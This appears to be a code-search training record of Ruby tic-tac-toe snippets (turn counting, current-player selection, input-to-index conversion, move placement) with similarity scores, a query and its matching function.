"def turn_count (board)\n \n turn = 0\n \n board.each do |cell| # cell = element\n if cell == \"X\" || cell == \"O\"\n turn += 1\n else \n turn += 0\n end\n end\n \n return turn\n\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : turn_count(board).odd? ? \"O\" : \"X\"\n end",
"def current_player(board)\n if turn_count(board) % 2 == 0\n \"X\"\n elsif turn_count(board) % 2 == 1\n \"O\"\n end\nend",
"def current_player(board)\n turn_count(board)\n if turn_count(board) % 2 == 0\n \"X\"\n else\n \"O\"\n end\nend",
"def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\nend",
"def current_player(board)\n return turn_count(board) % 2 == 0 ? \"X\" : \"O\";\nend",
"def turn_count\n counter = 0\n @board.each do|element|\n\tif (element == \"X\") || (element == \"O\")\n \tcounter += 1\n\tend\n end\n return counter\nend",
"def current_player(board)\n current_pla = turn_count(board)\n if current_pla %2==0\n return \"X\"\n else\n return \"O\"\n end\n \nend",
"def turn_count(board)\n counter = 0\n board.each do | move |\n if move == \"X\" || move == \"O\"\n puts counter += 1\n end\n end\n counter #This should be the number of turns\nend",
"def current_player(board)\n current_player = turn_count(board) % 2 == 0 ? \"X\" : \"O\"\n\nend",
"def current_player(board)\n count = turn_count(board)\n \n player = count.even? ? \"X\" : \"O\"\n \n return player\nend",
"def turn_count(board)\n count=0\n board.each do |position|\n if(position==\"X\"||position==\"O\")\n count+=1\n end\n end\n return count\nend",
"def move(board)\n if win?(board)\n (win?(board) + 1).to_s\n elsif block? board\n (block?(board) + 1).to_s\n elsif board.cells[4] == ' '\n \"5\"\n elsif corner? board\n (corner?(board).sample + 1).to_s\n else\n loop do\n move = (((rand*8).round)+1).to_s\n break if board.valid_move?(move)\n end\n return move\n end\n end",
"def current_player(board)\n if turn_count(board) == 0\n return \"X\"\n elsif\n turn_count(board) % 2 == 0 \n return \"X\"\n else\n return \"O\"\n end \n end",
"def current_player(board)\n if turn_count(board) == 0\n return \"X\"\n elsif\n turn_count(board) % 2 == 0 \n return \"X\"\n else\n return \"O\"\n end \n end",
"def turn_count(board)\n count = 0\n\n board.each_with_index do |location, index|\n if position_taken?(board, index)\n count = count + 1\n end\n end\n\n count\nend"
] |
[
"0.69618315",
"0.6913116",
"0.6868407",
"0.68213767",
"0.68077266",
"0.6802886",
"0.68011636",
"0.68007994",
"0.6793065",
"0.679255",
"0.6785544",
"0.6767105",
"0.6767105",
"0.67625844",
"0.67611146",
"0.67606616",
"0.67606616",
"0.67606616",
"0.67606616",
"0.67606616",
"0.67606616",
"0.67606616",
"0.67606616",
"0.67606616",
"0.67606616",
"0.67601234",
"0.6752254",
"0.67398417",
"0.6738534",
"0.67247355",
"0.6710906",
"0.6708125",
"0.67077386",
"0.6698637",
"0.66941977",
"0.6683785",
"0.66725105",
"0.6663384",
"0.6660798",
"0.6657471",
"0.66472465",
"0.66391516",
"0.663484",
"0.6634701",
"0.66287225",
"0.66236204",
"0.6616809",
"0.6603023",
"0.66009104",
"0.6595458",
"0.65934503",
"0.6592926",
"0.65920645",
"0.6580253",
"0.6580253",
"0.6577981",
"0.6577258",
"0.6570844",
"0.6568043",
"0.6566124",
"0.6565822",
"0.6565822",
"0.65648645",
"0.65632325",
"0.655524",
"0.65547574",
"0.65476173",
"0.65446657",
"0.65427846",
"0.65376586",
"0.653404",
"0.65326786",
"0.6530803",
"0.65261495",
"0.6525185",
"0.65204394",
"0.65191746",
"0.65167487",
"0.6511425",
"0.65094566",
"0.65064",
"0.65001214",
"0.6499589",
"0.6497035",
"0.6496766",
"0.6496766",
"0.6496766",
"0.6496766",
"0.6495518",
"0.6493731",
"0.6485337",
"0.6479059",
"0.6477598",
"0.6476228",
"0.64726186",
"0.64723873",
"0.6468038",
"0.6468038",
"0.64667296"
] |
0.670273
|
34
|
Takes the board state as an argument and determines the current player
|
def current_player(board)
if turn_count(board) % 2 == 0
return "X"
else
return "O"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def current_player\n if board.turn_count.odd?\n player_2\n elsif board.turn_count.even?\n player_1\n end\n end",
"def current_player(board)\n if turn_count(board).even?\n current_player = \"X\"\n else\n current_player = \"O\"\n end\nend",
"def current_player(board)\n player = turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : turn_count(board).odd? ? \"O\" : \"X\"\n end",
"def current_player(board)\n counter_turn = turn_count(board)\n if counter_turn % 2 == 0\n \"X\"\n else\n \"O\"\n end\n end",
"def current_player(board)\n #is turn count divisible by 2 then return X, if not, return O. \n turn_count(@board) % 2 == 0? \"X\" : \"O\"\n end",
"def current_player(board)\n if turn_count(board) == 0\n return \"X\"\n elsif\n turn_count(board) % 2 == 0 \n return \"X\"\n else\n return \"O\"\n end \n end",
"def current_player(board)\n if turn_count(board) == 0\n return \"X\"\n elsif\n turn_count(board) % 2 == 0 \n return \"X\"\n else\n return \"O\"\n end \n end",
"def current_player(board)\n if turn_count(board)%2 == 0\n current_player = \"X\"\n else\n current_player = \"O\"\n end\n return current_player\nend",
"def current_player(board)\n turn = turn_count(board)\n if turn == 0\n return \"X\"\n elsif turn == 1\n return \"O\"\n elsif turn == 2\n return \"X\"\n end\nend",
"def current_player\n board.turn_count % 2 == 0 ? player_1 : player_2\n end",
"def current_player(board)\n if (turn_count(board) % 2) == 0\n player = \"X\"\n elsif (turn_count(board) % 2) != 0\n player = \"O\"\n end\nend",
"def current_player(board)\n count = turn_count(board)\n \n player = count.even? ? \"X\" : \"O\"\n \n return player\nend",
"def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\n end",
"def current_player\n self.board.turn_count.even?? self.player_1 : self.player_2\n end",
"def current_player\n @board.turn_count % 2 == 0 ? @player_1 : @player_2\n end",
"def current_player\n @board.turn_count % 2 == 0 ? @player_1 : @player_2\n end",
"def current_player\n @board.turn_count % 2 == 0 ? @player_1 : @player_2\n end",
"def current_player\n @board.turn_count % 2 == 0 ? @player_1 : @player_2\n end",
"def current_player(board)\n if turn_count(board)&1==0 || turn_count(board) == 0;\n return \"X\"\n else\n return \"O\"\n end\nend",
"def current_player #player 1 goes first because 0 is even. so first turn is player 1, second is player 2, 3rd is player 1\n @board.turn_count.even? ? @player_1 : @player_2\n end",
"def current_player(board)\n return turn_count(board)%2==0 ? \"X\" : \"O\"\nend",
"def current_player\n if @board.turn_count.even?\n @player_1\n else\n @player_2\n end\n end",
"def current_player(board)\r\n (turn_count(board) % 2 == 0)? \"X\" : \"O\"\r\nend",
"def current_player(board)\n if turn_count(board).even?\n \"X\"\n elsif turn_count(board).odd?\n \"O\"\n end\nend",
"def current_player(board)\n next_turn = turn_count(board)\n if next_turn % 2 == 0 \n return 'X'\n else \n return 'O'\n end\nend",
"def current_player\n @board.turn_count.even? ? @player_1 : @player_2;\n end",
"def current_player(board)\n return (turn_count(board).even? ? \"X\" : \"O\")\nend",
"def current_player(board)\n current_player = turn_count(board) % 2 == 0 ? \"X\" : \"O\"\n\nend",
"def current_player(board)\n count = turn_count(board)\n return count.odd? ? \"O\" : \"X\"\nend",
"def current_player(board)\n turn_count(board).odd? ? \"O\" : \"X\"\nend",
"def current_player(board)\n turn_count(board).odd? ? \"O\" : \"X\"\nend",
"def current_player\n @board.turn_count.even? ? @player_1 : @player_2\n end",
"def current_player\n x_count = self.board.cells.count {|token| token == \"X\"}\n o_count = self.board.cells.count {|token| token == \"O\"}\n if (x_count + o_count).even?\n player_1\n elsif (x_count + o_count).odd?\n player_2\n end\n end",
"def current_player(board)\n count = turn_count(board)\n count.even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n current_turn = turn_count(board)\n if current_turn == 0 || current_turn % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend",
"def current_player(board)\n player = \"\"\n if turn_count(board) % 2 == 0\n player= \"X\"\n else\n player = \"O\"\n end\n player\nend",
"def current_player(board)\n return turn_count(board).odd? ? \"O\" : \"X\"\n\nend",
"def current_player(board)\n\tcount = turn_count(board)\n\tcount % 2 == 0 ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player\n board.turn_count.even? ? @player_1 : @player_2\n end",
"def current_player(board)\n#player = \"X\"\nif (turn_count(board) % 2) == 0\n player = \"X\"\nelsif (turn_count(board) % 2) != 0\n player = \"O\"\nend\nend",
"def current_player(board)\n turns = turn_count(board)\n if turns.odd?\n return \"O\"\n else\n return \"X\"\n end\nend",
"def current_player(board)\nturn_count(board).even? ? \"X\":\"O\"\nend",
"def current_player(board)\n\t\tif board.turn_count.odd?\n\t\t\t\"O\" # If the number of turns is an odd number it is Player two with the \"O\" token\n\t\telse\n\t\t\t\"X\" # If the number of turns is an even number it is Player one with the \"X\" token\n\t\tend\n\tend",
"def current_player( board )\n num_moves = turn_count(board)\n # using ternary operator\n num_moves % 2 == 0 ? current_player = \"X\" : current_player = \"O\"\n current_player\nend",
"def current_player(board)\n \n num_turns = turn_count(board)\n \n if num_turns % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\n\nend",
"def current_player(board)\n if turn_count(board).odd?\n \"O\"\n else\n \"X\"\n end\nend",
"def current_player(board)\n (turn_count(board) % 2 == 0) ? \"X\" : \"O\"\nend",
"def current_player(board)\n if turn_count(board) % 2 == 0\n return \"X\"\n else \n return \"O\"\n end\nend",
"def current_player(board)\n if turn_count(board) % 2 == 0\n \"X\"\n elsif turn_count(board) % 2 == 1\n \"O\"\n end\nend",
"def current_player(board)\n return [\"X\", \"O\"][turn_count(board) % 2]\nend",
"def current_player(board)\n turns=turn_count(board)\n if(turns%2==0)\n \"X\"\n else\n \"O\"\n end\nend",
"def current_player(board)\n if (turn_count(board) % 2 == 0)\n return \"X\"\n elsif !(turn_count(board) % 2 == 0)\n return \"O\"\n end\nend",
"def current_player\n x_moves = @board.select {|position| position == \"X\"}\n o_moves = @board.select {|position| position == \"O\"}\n\n if x_moves.size == o_moves.size\n character = \"X\"\n else\n character = \"O\"\n end\n end",
"def current_player(board)\n if turn_count(board).even?\n return \"X\"\n else\n return \"O\"\n end\nend",
"def current_player(board)\n if turn_count(board).even?\n return \"X\"\n else\n return \"O\"\n end\nend",
"def current_player(board)\n return turn_count(board) % 2 == 0 ? \"X\" : \"O\";\nend",
"def current_player(board)\n turns = turn_count(board) % 2\n if turns == 0\n return \"X\"\n else\n return \"O\"\nend\nend",
"def current_player(board)\n if turn_count(board).even?\n \"X\"\n else\n \"O\"\n end\nend",
"def current_player(board)\n if turn_count(board).even?\n \"X\"\n else\n \"O\"\n end\nend",
"def current_player(board) # Current_player method takes in an argument of the game board\n turn_count(board).even? ? board = \"X\" : board = \"O\"\nend",
"def current_player\n @board.turn_count.even? ? @player_1 : @player_2\n\n end",
"def winner\n if combo = won?\n winner = board.position(combo.first + 1)\n end\n winner\n end",
"def current_player\n board.turn_count.even? ? player_1 : player_2 #call to #turn_count & #even? on it. Ternary Operator\n end",
"def current_player(board)\n current_pla = turn_count(board)\n if current_pla %2==0\n return \"X\"\n else\n return \"O\"\n end\n \nend",
"def current_player_moves\r\n current_player.play(board)\r\n end",
"def current_player(board)\n turn_count(board)%2 == 0 ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\nend",
"def current_player(board)\n turn_count(board) % 2 == 0 ? \"X\" : \"O\"\nend",
"def current_player(board)\n # BASED ON THE #turn_count METHOD, ASSUMING \"X\" GOES FIRST, DETERMINE WHOSE TURN IT IS\n # to use binding.pry, type in \"learn\" in the terminal and it will come up. Type in \"board\" for example\n if turn_count(board).even?\n \"X\"\n else\n \"O\"\n end\nend",
"def current_player(board)\n if turn_count(board) % 2 == 0\n \"X\"\n else\n \"O\"\n end\nend",
"def check_player\n if self.moves == nil or self.moves.length % 2 == 0\n @current_player = 1\n else\n @current_player = 2\n end \n end",
"def current_player(board)\n if turn_count(board) % 2 ==0\n return \"X\"\n else\n return \"O\"\n end\nend",
"def current_player(board)\n turn_count(board)\n if turn_count(board) % 2 == 0\n \"X\"\n else\n \"O\"\n end\nend",
"def play(board)\n until over?(board)\n turn(board)\n #value=current_player(board)\n end\n if winner(board)==\"X\"\n puts \"Congratulations X!\"\n elsif winner(board)==\"O\"\n puts \"Congratulations O!\"\n else\n puts \"Cats Game!\"\n end\nend",
"def current_player\n\tif $turn == 0\n\t\tplayerone\n\telse\n\t\tplayertwo\n\tend\nend",
"def current_player(board)\n if turn_count(board) % 2 == 0 \n \"X\"\n else\n \"O\"\n end\nend",
"def current_player(board)\nturn_count(board).even? ? \"X\" : \"O\"\nend",
"def current_player_switch()\n if @current_player == 0 \n @current_player = 1\n elsif @current_player == 1 \n @current_player = 0\n end\n end",
"def current_player(board)\n counter = turn_count(board)\n if counter % 2 == 0\n return \"X\"\n else\n return \"O\"\n end\nend",
"def cur_player(db, cur_position)\r\n\twhites_move = db.execute(\"SELECT white_to_move FROM positions WHERE id=#{cur_position}\")\r\n\tif whites_move[0][\"white_to_move\"] == \"true\"\r\n\t\treturn \"white\"\r\n\telse\r\n\t\treturn \"black\"\r\n\tend\r\nend",
"def play\n #self.set_players # Only uncomment one of these two lines.\n self.set_computer_players # Uncomment this line to have two computer players\n until @board.winner?\n self.turn\n self.change_current_player\n end\n winner = (@current_player == @player1) ? @player2 : @player1\n puts \" #{winner.color.to_s.upcase} is the winner!!!!\"\n puts \"Thanks for playing.\"\n end"
] |
[
"0.75564945",
"0.7406597",
"0.73669845",
"0.73560476",
"0.7283867",
"0.7278065",
"0.727573",
"0.727573",
"0.7263714",
"0.7248957",
"0.72482735",
"0.7245998",
"0.7209899",
"0.7205843",
"0.7183731",
"0.71613806",
"0.71613806",
"0.71613806",
"0.71613806",
"0.71294135",
"0.71281",
"0.71186966",
"0.7105988",
"0.7104897",
"0.7093044",
"0.7091594",
"0.70900065",
"0.707557",
"0.70754975",
"0.7073493",
"0.70719635",
"0.70719635",
"0.70577073",
"0.7052717",
"0.70510715",
"0.7039502",
"0.7036564",
"0.7035936",
"0.70268565",
"0.7022598",
"0.7022598",
"0.7022598",
"0.7022598",
"0.7022598",
"0.7022598",
"0.7022598",
"0.7022598",
"0.7022598",
"0.7022598",
"0.7022299",
"0.70213753",
"0.7012903",
"0.6998936",
"0.69945145",
"0.69891053",
"0.69815373",
"0.6978931",
"0.6971406",
"0.6966938",
"0.6966421",
"0.6964383",
"0.6959317",
"0.6958592",
"0.69544375",
"0.69503736",
"0.69503736",
"0.693721",
"0.6936363",
"0.69250786",
"0.69250786",
"0.69008213",
"0.68954605",
"0.6894355",
"0.688783",
"0.6884138",
"0.6883654",
"0.6872926",
"0.6871664",
"0.6871664",
"0.6871664",
"0.6871664",
"0.6865484",
"0.68494374",
"0.6843378",
"0.684158",
"0.68408626",
"0.68404144",
"0.683409",
"0.6830068",
"0.682596",
"0.679784",
"0.6797539",
"0.67840374",
"0.67805445"
] |
0.697724
|
60
|
Returns user input as a valid array index
|
def input_to_index(input)
offset = input.to_i - 1
return offset
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def input_to_index(user_input)\n user_input = user_input.to_i # converts string into integer\n index = user_input - 1 # Change user input to array index.\nend",
"def input_to_index(user_input) \n #converts the user's input (a string) into an integer / would use .to_i\n #converts the user's input from the user-friendly format (on a 1-9 scale) to the array-friendly format (where the first index starts at 0) \n user_input.to_i - 1\n end",
"def input_to_index(input)\n #converts the user's input (a string) into an integer\n #converts the user's input from the user-friendly format (on a 1-9 scale) to the array-friendly format (where the first index starts at 0)\n input.to_i - 1\n end",
"def input_to_index(user_input)\n arr_index = user_input.to_i - 1\n return arr_index\nend",
"def input_to_index(user_input)\n index = user_input.to_i - 1\n end",
"def input_to_index(user_input)\n index = user_input.to_i - 1\n end",
"def input_to_index(user_input)\n index=(user_input .to_i) -1\nend",
"def input_to_index(user_input)\n index = (user_input.to_i - 1)\n end",
"def input_to_index(user_input)\nindex = user_input.to_i - 1 #convert to integer and covert to index\nreturn index #return index for use in other methods\nend",
"def input_to_index(user_input)\n index = user_input.to_i - 1\nend",
"def input_to_index(user_input)\n index = user_input.to_i - 1\nend",
"def input_to_index(user_input)\n index = user_input.to_i - 1\nend",
"def input_to_index(user_input)\n index = user_input.to_i - 1\nend",
"def input_to_index(user_input) #this method takes one argument (the users input)\n new_user_input = user_input.to_i #this specific .to converts the string into an intergeer\n new_user_input -= 1 #this subtracts it by 1 since arrays start with 0\nend",
"def input_to_index(user_input)\n index = user_input.to_i - 1\nend",
"def input_to_index(user_input)\n index = user_input.to_i - 1\n return index\n end",
"def input_to_index(argument)\n index=argument.to_i-1\n\n # arrray=[\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",]\n # array[index]=\"x\"\nend",
"def input_to_index(user_input)\n #take the user's input (\"1\"-\"9\") and convert it to the index of the board array (0-8)\n user_input.to_i - 1\nend",
"def input_to_index(user_input = 0)\n index = (user_input.to_i - 1)\nend",
"def input_to_index(user_input)\n index = (user_input.to_i - 1)\nend",
"def input_to_index(user_input)\n if (user_input === \"invalide\")\n return -1\n else\n input = user_input.to_i\n input = input - 1\n end\nend",
"def input_to_index(user_input)\n index = user_input.to_i - 1\n return index\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\n return index\nend",
"def input_to_index( user_input )\n user_input.to_i - 1\n end",
"def input_to_index(user_input)\n user_input.to_i - 1 # user_input converted to an integer\n end",
"def input_to_index(user_input)\n user_input.to_i - 1\n end",
"def input_to_index(user_input)\n user_input.to_i - 1\n end",
"def input_to_index(user_input)\n user_input.to_i - 1\n end",
"def input_to_index(user_input)\n user_input.to_i - 1\n end",
"def input_to_index(user_input)\n user_input.to_i - 1\n end",
"def input_to_index(user_input)\n user_input.to_i - 1\n end",
"def input_to_index(user_input)\n user_input.to_i - 1\n end",
"def input_to_index(user_input)\n user_input.to_i - 1\n end",
"def input_to_index(user_input)\n user_input.to_i - 1\n end",
"def input_to_index(user_input)\n user_input.to_i - 1\n end",
"def input_to_index(input)\n index = input.to_i - 1\n end",
"def input_to_index(input)\n index = input.to_i - 1\n end",
"def input_to_index(input)\n index = input.to_i - 1\n end",
"def input_to_index(user_input)\n user_input.to_i - 1 # user_input converted to an integer\nend",
"def input_to_index(user_input)\n user_input = user_input.to_i\n index = user_input - 1\n return index\nend",
"def input_to_index(user_input)\n return \"#{user_input}\".to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_1 - 1 #they are entering a number we have to translate that to the board speak\nend",
"def input_to_index(input)\n input_int = input.to_i\n index = input_int - 1\nend",
"def input_to_index(user_input)\n return user_input.to_i() - 1\n end",
"def input_to_index(user_input)\n user_input.to_i - 1\n end",
"def input_to_index(user_input)\n user_input.to_i - 1\n end",
"def input_to_index(input)\r\n index = input.to_i - 1\r\nend",
"def input_to_index(input)\n return input.to_i - 1\n #idx = [inpu - 1]\n # return idx\nend",
"def input_to_index(user_input)\n (1..9).include?(user_input.to_i) ? user_input.to_i - 1 : -1\nend",
"def input_to_index(user_input)\n (user_input).to_i - 1 \nend",
"def input_to_index(user_input)\r\n user_input.to_i - 1\r\nend",
"def input_to_index(user_input)\n\tactual_input = user_input.to_i - 1\n\nend",
"def input_to_index(input)\n index = input.to_i-1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n\n user_input.to_i - 1\n\n\nend",
"def input_to_index(user_input)\n user_input.to_i- 1\nend",
"def input_to_index(input)\n index = input.to_i - 1\nend",
"def input_to_index(input)\n index = input.to_i - 1\nend",
"def input_to_index(input)\n index = (input.to_i) - 1\nend",
"def input_to_index(user_input)\n index = user_input.to_i\n index -= 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1\nend",
"def input_to_index(user_input)\n user_input.to_i - 1 \nend",
"def input_to_index(user_input)\n user_input.to_i - 1 \nend",
"def input_to_index(user_input)\n # user_input = gets.strip\n converted_input = user_input.to_i\n converted_input - 1 \nend",
"def input_to_index(user_input)\n index = user_input.to_i\n index -= 1\n return index\nend",
"def input_to_index(user_input)\n index = user_input.to_i\n index -= 1\n return index\nend",
"def input_to_index(user_input)\n index = user_input.to_i\n index -= 1\n return index\nend",
"def input_to_index(user_input)\n index = user_input.to_i\n index -= 1\n return index\nend",
"def input_to_index(user_input)\n index = user_input.to_i\n index -= 1\n return index\nend",
"def input_to_index(input)\n self.convert_to_i(input) - 1\n end",
"def input_to_index (input)\n index = input.to_i\n index - 1\n end",
"def input_to_index(string)\r\n input = string.to_i\r\n user_input = input - 1\r\nend"
] |
[
"0.8062573",
"0.77591044",
"0.7719007",
"0.7384185",
"0.73381233",
"0.73381233",
"0.7239415",
"0.72209334",
"0.71974075",
"0.71820164",
"0.71820164",
"0.71820164",
"0.71820164",
"0.7164963",
"0.7152275",
"0.7132591",
"0.7107059",
"0.71044147",
"0.7089755",
"0.70779157",
"0.7004241",
"0.6967886",
"0.6960721",
"0.69433886",
"0.6922722",
"0.6857086",
"0.6857086",
"0.6857086",
"0.68402106",
"0.68402106",
"0.68402106",
"0.68402106",
"0.68402106",
"0.68402106",
"0.68402106",
"0.68370557",
"0.68370557",
"0.68370557",
"0.6818959",
"0.6813071",
"0.68051624",
"0.6796504",
"0.67913914",
"0.6786634",
"0.6785094",
"0.6785094",
"0.678144",
"0.67675215",
"0.6759264",
"0.67570114",
"0.6739364",
"0.67288274",
"0.67198026",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.6719523",
"0.66928124",
"0.66868186",
"0.66853017",
"0.66853017",
"0.6682692",
"0.6674453",
"0.6674272",
"0.6674272",
"0.6661152",
"0.6661152",
"0.6633523",
"0.6626974",
"0.6626974",
"0.6626974",
"0.6626974",
"0.6626974",
"0.66190207",
"0.66168916",
"0.6611496"
] |
0.0
|
-1
|
Marks players move on the board
|
def move(board, move, player)
board[move] = player
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def player_move(board, index, marker)\n board[index] = marker\n end",
"def set_move move\n@board[move] = @player\nend",
"def turn\n marker = @turn_count.even? ? marker = \"X\" : marker = \"O\"\n move\n print \"Current board: \"\n show_board\n @player +=1\n end",
"def move(board)\n end",
"def play_turn\n @board.place_mark(@current_player.get_move, @current_player.mark)\n switch_players!\n end",
"def move(board, pos, mark=\"X\")\n board[pos.to_i-1] = mark\nend",
"def update_move(board, player, position)\n\tboard[position.to_i - 1] = player\n\tboard\nend",
"def turn\n current_move = current_player.move(@board)\n current_token = current_player.token\n if self.board.valid_move?(current_move)\n self.board.update(current_move, current_player)\n self.board.display\n # binding.pry\n else\n turn\n end\n end",
"def move(move_position, player=\"X\")\n @board[move_position] = player\n end",
"def make_move(move)\n\t\t@board[move]= $current_player\n\tend",
"def moves(board, start_pos)\n end",
"def player_move(board, index, current_player_token)\r\n board[index] = current_player_token\r\nend",
"def move(position, player_token)\n @board[position] = player_token\n end",
"def turn\n most_recent_move = current_player.move(@board)\n if !@board.valid_move?(most_recent_move)\n turn\n else\n @board.update(most_recent_move, current_player)\n end\n end",
"def move(board_index, player_token = \"X\")\n @board[board_index] = player_token\n end",
"def move(index, current_player)\n @board[index] = current_player\n end",
"def move(index, current_player)\n @board[index] = current_player\n end",
"def play_turn\n move = @current_player.get_move\n switch_players!\n @board.place_mark(move, :X)\n end",
"def make_player_move!(player_move_position)\n self.game_data[player_move_position] = \"O\"\n self.player_move_count += 1\n self.save!\n end",
"def move(board, position, current_player)\n board[position] = current_player\nend",
"def move(position, player=current_player)\n position = position.to_i\n @board[position-1]=player\n end",
"def move( index, current_player = \"X\" )\n @board[index] = current_player\n end",
"def move(index, current_player = \"X\")\n @board[index] = current_player\n end",
"def move(index, current_player)\n @board[index] = current_player\nend",
"def move(index, current_player)\n @board[index] = current_player\nend",
"def move(board, position , player= \"X\" )\n\tposition = position.to_i\n\tboard[position -1] = player\n\tdisplay_board(board)\nend",
"def turn\n input = current_player.move(board)\n\n if board.valid_move?(input)\n board.update(input, current_player)\n board.display\n else\n turn\n end\n end",
"def move(board, position, player=current_player(board))\n position = position.to_i\n board[position-1]=player\nend",
"def move(board)\nend",
"def move(board, position, marker='X')\n board[position.to_i - 1] = marker.upcase\nend",
"def move(board, index, current_player)\n board[index] = current_player\n end",
"def move(board, position, current_player= \"X\")\n board[position.to_i - 1] = current_player\nend",
"def move(move_index, player_token = \"X\")\r\n @board[move_index] = player_token\r\n end",
"def move(board, index, current_player)\n @board[index] = current_player\nend",
"def turn\n input = current_player.move(board)\n if board.valid_move?(input)\n board.update(input, current_player)\n board.display\n else\n board.display\n turn\n end\n end",
"def move(board, index, marker)\n board[index] = marker\nend",
"def move (board, index, token)\n #token = current_player(board)\n board[index] = token\nend",
"def moves\n end",
"def update_board(mark, position)\n position = position.to_i\n\n @play_area[position] = mark\n end",
"def do_move x,y\n return unless is_valid_move(x,y)\n @field[x][y].player = @player\n unless (w = check_winner).nil?\n on_game_won w.first.player, w\n end\n\n @player = @player == 1 ? 2 : 1\n if gameover?\n @player = 0\n on_gameover\n end\n end",
"def moves\n\n end",
"def move pos\n new_board = nil\n next_player = @current_player == :x ? :o : :x\n new_board = @board.make_move @current_player, pos\n State.new new_board, next_player, @computer_player\n end",
"def update_board(move)\n for i in 0...@board.length\n if move == @board[i]\n # replaces number with either X or O\n @board[i] = @taken[move]\n end\n end\n end",
"def move(player, x, y)\n\n end",
"def notify(player_number, column_number)\n @game.make_move(player_number, column_number)\n\tend",
"def move(board, position, current_player = \"X\")\n board[position.to_i-1] = current_player\nend",
"def move(position,token=\"X\")\n position=position.to_i - 1\n @board[position]=token\n end",
"def move(board)\n \trandom_move(board)\n\tend",
"def move_player (start, stop, piece)\r\n $board[stop[0]][stop[1]] = piece\r\n $board[start[0]][start[1]] = nil \r\n $board[stop[0]][stop[1]].turn += 1\r\n @prev_coord= [stop[0], stop[1]]\r\n @prev_delta_y = (stop[1] - start[1]).abs\r\n if piece.class == Pawn and (stop[1] == 7 or stop[1] == 0)\r\n promotion(stop, piece)\r\n end \r\n end",
"def mark (input)\n @@board = mark_input(@@board, input, @@player_turn)\n #switch player after input\n @@player_turn == \"O\" ? @@player_turn = \"X\" : @@player_turn = \"O\"\n end",
"def move(dest, crown?) # called in :turn > active_piece.move()\n # updates dest in board array\n # updates piece with new coordinates\n # updates jumped pieces?\nend",
"def move(board, index, current_player)\r\n board[index] = current_player\r\nend",
